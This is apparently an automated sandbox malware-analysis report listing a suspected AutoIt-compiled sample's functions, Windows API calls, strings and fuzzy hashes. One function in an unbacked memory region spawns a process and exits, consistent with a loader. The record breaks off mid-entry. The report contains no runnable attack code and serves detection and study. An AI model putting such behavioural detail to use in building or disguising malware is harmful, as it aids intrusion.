Source File: 00000000.00000002.1361149548.0000000000EE9000.00000040.00000020.00020000.00000000.sdmp, Offset: 00EE9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee9000_egpTyFpA8v.jbxd

Similarity

API ID: CreateFileSleep
String ID: 3226GSYH11BJJATB6N4O2X51QL
API String ID: 2694422964-1864654900
Opcode ID: da7967e11387c66b0845243cc540c1cfc59b0a9242c248622b7300990286e747
Instruction ID: 76f2dbdcc1690ca6f4aafcd755d6712afa09e2c24c6f6f76a91db3a96df507d6
Opcode Fuzzy Hash: da7967e11387c66b0845243cc540c1cfc59b0a9242c248622b7300990286e747
Instruction Fuzzy Hash: F961A330D0428CDAEF11DBB4C844BEEBBB5AF19304F144199E6487B2C1D7B91B49CB66

Function 004335B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,00000003,00000000,80000001,80000001,?,004335A1,SwapMouseButtons,00000004,?), ref: 004335D4
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,004335A1,SwapMouseButtons,00000004,?,?,?,?,00432754), ref: 004335F5
RegCloseKey.KERNELBASE(00000000,?,?,004335A1,SwapMouseButtons,00000004,?,?,?,?,00432754), ref: 00433617

Strings

Control Panel\Mouse, xrefs: 004335D2

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: fe7ed9d5fedd7fb18a4f5b581c9497dc27d2b6ad2464c12a2f9d331eb9c64d98
Instruction ID: 2f0305700a78fca4fdce5e354ad81702b186f7a538fd0fc0f1fd1f82a8bc34fe
Opcode Fuzzy Hash: fe7ed9d5fedd7fb18a4f5b581c9497dc27d2b6ad2464c12a2f9d331eb9c64d98
Instruction Fuzzy Hash: AC114871910208BFDB20DF64DC419AFB7BCEF08741F00556AF809D7210D2759F549768

Function 0045470A Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004547A0
__flush.LIBCMT ref: 004547C0
__write.LIBCMT ref: 004547F3
__flsbuf.LIBCMT ref: 00454821

Part of subcall function 00458B28: __getptd_noexit.LIBCMT ref: 00458B28

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: 998aeda2236a74d80706e5f9a46343bd1135ee917ddd04e378ba6ed458c3dace
Instruction ID: 7caebcbcc51e0287248e3495dd48301f6accc046c27c5b4d33d4a4611a4a5171
Opcode Fuzzy Hash: 998aeda2236a74d80706e5f9a46343bd1135ee917ddd04e378ba6ed458c3dace
Instruction Fuzzy Hash: 24410834A00745ABCB189E69C8809AF77A5AFC535AB10817FEC158F742E738DDC98B48

Function 00434C70 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 141COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00434CBA

Strings

AU3!P/L, xrefs: 00434CB4
EA06, xrefs: 0046D8CC

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: _memmove
String ID: AU3!P/L$EA06
API String ID: 4104443479-584251071
Opcode ID: cf3ad109832178d58d370f6ffb4407bd84747eb00efef499707997fc37a57ba5
Instruction ID: 91ed7b442460471391c6bb2f906b01720a36bbb08f61a38ba218a11bb806efe5
Opcode Fuzzy Hash: cf3ad109832178d58d370f6ffb4407bd84747eb00efef499707997fc37a57ba5
Instruction Fuzzy Hash: 89419D21A0015857DF219B5488527FF7FA1DBCD304F68607BEC829B382D62C7D4587AA

Function 00437285 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0046EA39
GetOpenFileNameW.COMDLG32(?), ref: 0046EA83

Part of subcall function 00434750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00434743,?,?,004337AE,?), ref: 00434770

Part of subcall function 00450791: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 004507B0

Strings

X, xrefs: 0046EA51

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen_memset
String ID: X
API String ID: 3777226403-3081909835
Opcode ID: 4a8490fbf8dc981a7a918020385ac2d8fa1d8b3208ba2b161884b17cb9e03a7e
Instruction ID: 6f558b76faf609c988482383c7c155e129a6e3036c3f8c086db08d8a00bf6de9
Opcode Fuzzy Hash: 4a8490fbf8dc981a7a918020385ac2d8fa1d8b3208ba2b161884b17cb9e03a7e
Instruction Fuzzy Hash: B021D470A102489BCF519FD5C845AEE7BF8AF48319F00805BE548A7241DBB859498F9A

Function 00498D91 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00498DAC
__fread_nolock.LIBCMT ref: 00498DC1

Strings

EA06, xrefs: 00498DF3

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: __fread_nolock_memmove
String ID: EA06
API String ID: 1988441806-3962188686
Opcode ID: a968434574c89ca64c48d48d42f60f435c67d1b792b819e8e86530c025bf8705
Instruction ID: f32507c8bc577867d8a58cbae16b266a4f8018f4fdfc1ea4ce80eb614d974c3e
Opcode Fuzzy Hash: a968434574c89ca64c48d48d42f60f435c67d1b792b819e8e86530c025bf8705
Instruction Fuzzy Hash: F101F9718042587EDF18CAA9C816EFE7BF8DB11301F00459FF556D2181E878E6088764

Function 00EEABF8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 00EEAC3D
ExitProcess.KERNEL32(00000000), ref: 00EEAC5C

Strings

D, xrefs: 00EEAC09

Memory Dump Source

Source File: 00000000.00000002.1361149548.0000000000EE9000.00000040.00000020.00020000.00000000.sdmp, Offset: 00EE9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee9000_egpTyFpA8v.jbxd

Similarity

API ID: Process$CreateExit
String ID: D
API String ID: 126409537-2746444292
Opcode ID: eaefe38700dea64172a30051a10e55a487822181055063bbb51e2642d874e9cd
Instruction ID: 14e35113ca3af61d3a2d640ad5a7286fc61503257e223e698e666e142ae970e1
Opcode Fuzzy Hash: eaefe38700dea64172a30051a10e55a487822181055063bbb51e2642d874e9cd
Instruction Fuzzy Hash: F4F0FFB154024CABDB60EFE1CC49FEE77BCBF08701F548518FB1AAA184DA7496088B61

Function 004998E3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 004998F8
GetTempFileNameW.KERNELBASE(?,aut,00000000,?), ref: 0049990F

Strings

aut, xrefs: 00499909

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: 2b859bbd0b3f5c4bd256690eb99ff3e7e11587256f029cd5d0d442cbe24fcf2a
Instruction ID: ec6e99b086d741b21d9ee23e0ca7d9749064f7eb92b969d41c9f7319d3b38917
Opcode Fuzzy Hash: 2b859bbd0b3f5c4bd256690eb99ff3e7e11587256f029cd5d0d442cbe24fcf2a
Instruction Fuzzy Hash: ECD05E7954030DABDB50ABA4DC0EF9A773CEB04701F0003F1BF58D11A1EAB2A5988B99

Function 004ACADD Relevance: 4.9, APIs: 3, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71de25266735fe11e0006c9e5fae3cfe4e1a0ba4f05ab67204da25a756fe2162
Instruction ID: 195b549ecfd269cbaf140ccc764ba54ab948519c1739a332d3875a6821c54f01
Opcode Fuzzy Hash: 71de25266735fe11e0006c9e5fae3cfe4e1a0ba4f05ab67204da25a756fe2162
Instruction Fuzzy Hash: 68F149706083009FCB54DF29C480A6ABBE5FF99318F14892EF8999B351D778E945CF86

Function 0043434A Relevance: 4.6, APIs: 3, Instructions: 77windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00434370
Shell_NotifyIconW.SHELL32(00000000,?), ref: 00434415
Shell_NotifyIconW.SHELL32(00000001,?), ref: 00434432

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: IconNotifyShell_$_memset
String ID:
API String ID: 1505330794-0
Opcode ID: be3817b1a88e53030942f10b6abc37e5bd335cbaa799560b76b3688f2b2eecab
Instruction ID: a4613e3a953525aea8af52eac9c39e0ec186b2bc084807d53af92e9cba843034
Opcode Fuzzy Hash: be3817b1a88e53030942f10b6abc37e5bd335cbaa799560b76b3688f2b2eecab
Instruction Fuzzy Hash: 353141706047019FD721DF24D88469BBBF8FB98319F000A3FE69A83251D7756958CB5A

Function 0045571C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 00455733

Part of subcall function 0045A16B: __NMSG_WRITE.LIBCMT ref: 0045A192
Part of subcall function 0045A16B: __NMSG_WRITE.LIBCMT ref: 0045A19C

__NMSG_WRITE.LIBCMT ref: 0045573A

Part of subcall function 0045A1C8: GetModuleFileNameW.KERNEL32(00000000,004F33BA,00000104,?,00000001,00000000), ref: 0045A25A
Part of subcall function 0045A1C8: ___crtMessageBoxW.LIBCMT ref: 0045A308

Part of subcall function 0045309F: ___crtCorExitProcess.LIBCMT ref: 004530A5
Part of subcall function 0045309F: ExitProcess.KERNEL32 ref: 004530AE

Part of subcall function 00458B28: __getptd_noexit.LIBCMT ref: 00458B28

RtlAllocateHeap.NTDLL(00E40000,00000000,00000001,00000000,?,?,?,00450DD3,?), ref: 0045575F

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
String ID:
API String ID: 1372826849-0
Opcode ID: f285f299ad252bd8abfc32fd1f54045442fb0e0e06a09544359bed5e1fcd88d3
Instruction ID: 0bd25d7cdd4837b1b05041d50cbc1f63c89f52b06989f3a5e8fad221388169ac
Opcode Fuzzy Hash: f285f299ad252bd8abfc32fd1f54045442fb0e0e06a09544359bed5e1fcd88d3
Instruction Fuzzy Hash: F101D275200B01DBD6102B3AEC62A3E67588B46767F10053FFC05AB283DE7C9C09866D

Function 004998A2 Relevance: 4.5, APIs: 3, Instructions: 24filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000003,00000080,00000000,?,?,00499548,?,?,?,?,?,00000004), ref: 004998BB
SetFileTime.KERNELBASE(00000000,?,00000000,?,?,00499548,?,?,?,?,?,00000004,00000001,?,?,00000004), ref: 004998D1
CloseHandle.KERNEL32(00000000,?,00499548,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 004998D8

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: File$CloseCreateHandleTime
String ID:
API String ID: 3397143404-0
Opcode ID: 254bf3d4eccd5ad05499ecee798a4c0d1295b4f4750ccecd318b2a804fad8232
Instruction ID: 9eec6b3a1ccf91404cdbc101eb716cfcbf16142178a1bc34d477a915a39ff545
Opcode Fuzzy Hash: 254bf3d4eccd5ad05499ecee798a4c0d1295b4f4750ccecd318b2a804fad8232
Instruction Fuzzy Hash: A2E08632140214B7DB212B58EC09FCA7F59AB06760F144230FB18790E087B12915979C

Function 00498D0D Relevance: 4.5, APIs: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00498D1B

Part of subcall function 00452D55: RtlFreeHeap.NTDLL(00000000,00000000,?,00459A24), ref: 00452D69
Part of subcall function 00452D55: GetLastError.KERNEL32(00000000,?,00459A24), ref: 00452D7B

_free.LIBCMT ref: 00498D2C
_free.LIBCMT ref: 00498D3E

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: c56cf7ee783aa8295308e84720220828ccc4d403300e1e82c1220f1652f177a4
Instruction ID: d8166d4f83b155685f68d3f918d0c108e9bceff05358b8380a4f9cb88d2fe0c0
Opcode Fuzzy Hash: c56cf7ee783aa8295308e84720220828ccc4d403300e1e82c1220f1652f177a4
Instruction Fuzzy Hash: 9FE012A170160246DF24A57DAA40A9317EC4F5A397B140A2FB80DD72C7CEACF84A812C

Function 0043A9C3 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 534COMMON

Download Yara Rule

Strings

CALL, xrefs: 0046FC01

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID:
String ID: CALL
API String ID: 0-4196123274
Opcode ID: cace3d22e3dcdea47d6b3e44f7e1757e2bb4dc7b34960557138480cae794bf2b
Instruction ID: 88dc3436ffa515fa134f6d83cfe1594e820bca70c033f4234710fb0a20fd55c1
Opcode Fuzzy Hash: cace3d22e3dcdea47d6b3e44f7e1757e2bb4dc7b34960557138480cae794bf2b
Instruction Fuzzy Hash: 8B226A70508201DFDB24DF14C490B6AB7E1FF48304F15996EE98A8B362D739EC55CB8A

Function 00434DDD Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 64libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00434BB5: FreeLibrary.KERNEL32(00000000,?), ref: 00434BEF

Part of subcall function 0045525B: __wfsopen.LIBCMT ref: 00455266

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,P@,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00434E0F

Part of subcall function 00434B6A: FreeLibrary.KERNEL32(00000000), ref: 00434BA4

Part of subcall function 00434C70: _memmove.LIBCMT ref: 00434CBA

Strings

P@, xrefs: 00434DE3

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Library$Free$Load__wfsopen_memmove
String ID: P@
API String ID: 1396898556-286689840
Opcode ID: ee97270d916703584553fac3a6a102a129159e569530dd39ac66472f2868b615
Instruction ID: 98485b204286a82f0b34afb347739cc86cf1013d0ff022642f5ab36dea098e6c
Opcode Fuzzy Hash: ee97270d916703584553fac3a6a102a129159e569530dd39ac66472f2868b615
Instruction Fuzzy Hash: 6811C831A00205ABCF14BF71CC17FED77A4AF88714F10842FF54197281DA79A9059759

Function 00437A51 Relevance: 3.1, APIs: 2, Instructions: 97COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00437AAB
_memmove.LIBCMT ref: 00437B16

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 8a1fad2dc96cfc5bda97f6ddc727d0ae725561dd87fd932f273e0287656629b4
Instruction ID: e3287db7387147b693b8a58bbe0f8d3770e91dbf1ce5502f406ba9878cefc8dc
Opcode Fuzzy Hash: 8a1fad2dc96cfc5bda97f6ddc727d0ae725561dd87fd932f273e0287656629b4
Instruction Fuzzy Hash: 2D31E7B1600506AFC714DF68C8D1D69F3A4FF4C314B14822EE959CB391EB34E910CB94

Function 00450DB6 Relevance: 3.0, APIs: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0045571C: __FF_MSGBANNER.LIBCMT ref: 00455733
Part of subcall function 0045571C: __NMSG_WRITE.LIBCMT ref: 0045573A
Part of subcall function 0045571C: RtlAllocateHeap.NTDLL(00E40000,00000000,00000001,00000000,?,?,?,00450DD3,?), ref: 0045575F

std::exception::exception.LIBCMT ref: 00450DEC
__CxxThrowException@8.LIBCMT ref: 00450E01

Part of subcall function 0045859B: RaiseException.KERNEL32(?,?,?,004E9E78,00000000,?,?,?,?,00450E06,?,004E9E78,?,00000001), ref: 004585F0

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
String ID:
API String ID: 3902256705-0
Opcode ID: e1abb1964d36001fa56360f14491e306f0482c7a7d77d1aaad9c13bde32b79df
Instruction ID: ecfaf8c87e4706eea3322483ef65268c8d2dd150ec87d6c23880ddce41bfc6c0
Opcode Fuzzy Hash: e1abb1964d36001fa56360f14491e306f0482c7a7d77d1aaad9c13bde32b79df
Instruction Fuzzy Hash: 24F0863950021E76DB10BA95DD01ADF77A89F11357F10442FFD04A6283EFB99A4885DD

Function 004555FD Relevance: 3.0, APIs: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045562C
__lock_file.LIBCMT ref: 0045564D

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
Opcode ID: b7c867f92045d9ab3634c74b6652df05259916e2aaf53a388613dd10a60efc0f
Instruction ID: af3ff549afc3b054d91ac91ae80f1ae99f93f830c991aff3c6f03effac137e8b
Opcode Fuzzy Hash: b7c867f92045d9ab3634c74b6652df05259916e2aaf53a388613dd10a60efc0f
Instruction Fuzzy Hash: F901D871800644EBCF12AF668C024AF7B61AF51327F50411FBC1827253DB398519DF59

Function 004553A6 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00458B28: __getptd_noexit.LIBCMT ref: 00458B28

__lock_file.LIBCMT ref: 004553EB

Part of subcall function 00456C11: __lock.LIBCMT ref: 00456C34

__fclose_nolock.LIBCMT ref: 004553F6

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 96a5f8743d05d62217137f8e566e8cea0dca781456fa4b80b9bef22cd91f9c91
Instruction ID: 5aa9989d60ae868be7a6d45093aadfc6ac1388cd91a830fc0d0f221cf488979d
